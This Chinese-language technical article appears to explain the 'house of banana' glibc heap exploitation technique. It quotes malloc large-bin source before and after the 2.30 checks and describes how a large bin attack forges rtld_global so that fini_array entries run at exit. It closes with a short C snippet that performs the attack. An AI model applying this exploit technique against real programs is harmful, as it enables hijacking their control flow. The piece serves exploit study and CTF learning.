if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk;
然而从glibc 2.30开始,常规large bin attack方法也被封堵
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
0x03 large bin attack在新版glibc中的利用
那是否意味着large bin attack不能用了呢,其实不是,以前的large bin attack手法,都是在下面第二个分支里进行 在最新版的glibc 2.32里,我们看到,第二个分支里确实封堵了以前的利用手法,但是在第一个分支里,仍然可以实现large bin attack,但是该分支利用起来,只是完成往任意地址写一个堆地址的作用,因为这里的bck->bk才是我们的large bin,因此分析来看,我们能够控制的也就是图中第一个分支中的fwd->fd->bk_nextsize,而完成写的操作是在fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 这句中,即可以往任意地址写上这个unsorted bin chunk堆的地址。而以前旧版large bin attack是可以往任意的两个地址写两个堆地址。
struct rtld_global { #endif /* Don't change the order of the following elements. 'dl_loaded' must remain the first element. Forever. */
/* Non-shared code has no support for multiple namespaces. */ #ifdef SHARED # define DL_NNS 16 #else # define DL_NNS 1 #endif EXTERN struct link_namespaces { /* A pointer to the map for the main map. */ struct link_map *_ns_loaded; /* Number of object in the _dl_loaded list. */ unsigned int _ns_nloaded; /* Direct pointer to the searchlist of the main object. */ struct r_scope_elem *_ns_main_searchlist; /* This is zero at program start to signal that the global scope map is allocated by rtld. Later it keeps the size of the map. It might be reset if in _dl_close if the last global object is removed. */ unsigned int _ns_global_scope_alloc;
/* During dlopen, this is the number of objects that still need to be added to the global scope map. It has to be taken into account when resizing the map, for future map additions after recursive dlopen calls from ELF constructors. */ unsigned int _ns_global_scope_pending_adds;
/* Once libc.so has been loaded into the namespace, this points to its link map. */ struct link_map *libc_map;
/* Search table for unique objects. */ struct unique_sym_table { __rtld_lock_define_recursive (, lock) struct unique_sym { uint32_t hashval; const char *name; const ElfW(Sym) *sym; const struct link_map *map; } *entries; size_t size; size_t n_elements; void (*free) (void *); } _ns_unique_sym_table; /* Keep track of changes to each namespace' list. */ struct r_debug _ns_debug; } _dl_ns[DL_NNS]; /* One higher than index of last used namespace. */ EXTERN size_t _dl_nns; ................................................................................. };
if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); }
汇编中对应的代码如下 因此,伪造该结构体指针,可以使得array指向我们可控的数据区,从而布置下一系列函数,进而劫持程序的流,那么house of banana的思想就是利用large bin attack往rtld_global写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出main函数时,便会执行到伪造的fini_array数组。
free(ptr0); //put ptr9 into large bin malloc(0x500); free(ptr1); //free ptr1 into unsorted bin free(ptr2); //free ptr2 into unsorted bin //bk_nextsize = _rtld_global_ptr_addr *(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20; malloc(0x410); //large bin attack to hijack _rtld_global_ptr